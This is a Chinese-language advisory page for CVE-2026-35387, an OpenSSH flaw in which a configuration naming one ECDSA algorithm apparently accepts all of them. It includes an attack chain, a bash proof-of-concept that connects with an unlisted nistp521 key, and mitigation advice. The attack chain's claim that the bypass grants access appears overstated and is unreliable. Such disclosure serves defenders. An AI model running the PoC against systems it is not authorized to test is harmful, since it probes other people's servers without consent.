IPBUF安全漏洞报告
English
CVE-2026-35387 CVSS 3.1 低危

CVE-2026-35387 OpenSSH ECDSA算法配置误用漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-35387
漏洞类型
安全绕过
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenSSH

相关标签

OpenSSH安全绕过配置错误ECDSACVE-2026-35387

漏洞概述

OpenSSH 10.3之前版本存在安全漏洞,涉及ECDSA算法配置的解析错误。当服务器配置文件`PubkeyAcceptedAlgorithms`或`HostbasedAcceptedAlgorithms`中包含任何ECDSA算法时,程序会错误地将其解释为接受所有ECDSA算法。这导致管理员试图限制特定算法的配置失效,攻击者可能利用本应被禁用的ECDSA算法进行身份验证,从而降低系统安全性。

技术细节

该漏洞是由于OpenSSH在处理公钥认证算法配置时的逻辑缺陷造成的。在受影响版本中,配置解析器无法精确匹配算法字符串。当管理员在配置文件中指定特定的ECDSA算法(例如ecdsa-sha2-nistp256)以限制允许的密钥类型时,解析器仅检测到“ecdsa”关键字的存在,便默认启用所有ECDSA相关的算法变体。根据CVSS v3.1向量(AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N),该漏洞无需用户交互,攻击者需具备低权限。利用此漏洞,攻击者可以绕过算法限制,使用服务器本应拒绝的ECDSA密钥类型建立连接。虽然评分较低(3.1分),但这破坏了配置的完整性,可能允许使用较旧或较弱的算法进行认证,增加了被中间人攻击或暴力破解的风险。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别运行OpenSSH版本低于10.3的目标服务器。
STEP 2
配置分析
攻击者确认目标服务器在sshd_config中配置了`PubkeyAcceptedAlgorithms`,且列表中包含ECDSA相关算法。
STEP 3
漏洞利用
攻击者生成一个不在管理员允许列表中的ECDSA密钥(如nistp521),并尝试使用该密钥进行SSH连接。
STEP 4
认证绕过
由于漏洞,服务器错误地接受了该ECDSA密钥,攻击者成功绕过了算法限制机制,获得了访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35387: OpenSSH ECDSA Algorithm Misinterpretation # Description: This script demonstrates how a configuration intended to allow only # nistp256 might inadvertently accept other ECDSA types like nistp521. TARGET_HOST="target_ip" TARGET_USER="test_user" # 1. Generate a non-intended ECDSA key (e.g., nistp521) if not present if [ ! -f "./id_ecdsa_p521" ]; then ssh-keygen -t ecdsa -b 521 -f ./id_ecdsa_p521 -N "" fi # 2. Attempt to connect using the nistp521 key # Expected behavior on patched systems: Connection refused (algorithm not allowed) # Vulnerable behavior: Connection allowed (misinterpretation of config) echo "Attempting connection with ecdsa-sha2-nistp521..." ssh -o PubkeyAuthentication=yes \ -o IdentityFile=./id_ecdsa_p521 \ -o PreferredAuthentications=publickey \ -o StrictHostKeyChecking=no \ ${TARGET_USER}@${TARGET_HOST} "echo 'Access Granted via unintended algorithm'" # Note: Ensure the target sshd_config contains 'PubkeyAcceptedAlgorithms ecdsa-sha2-nistp256'

影响范围

OpenSSH < 10.3

防御指南

临时缓解措施
建议在升级前完全禁用ECDSA算法支持,改用更安全的Ed25519或RSA算法,以防止因配置误判导致的算法绕过风险。同时,严格限制SSH访问的源IP地址,减少潜在攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表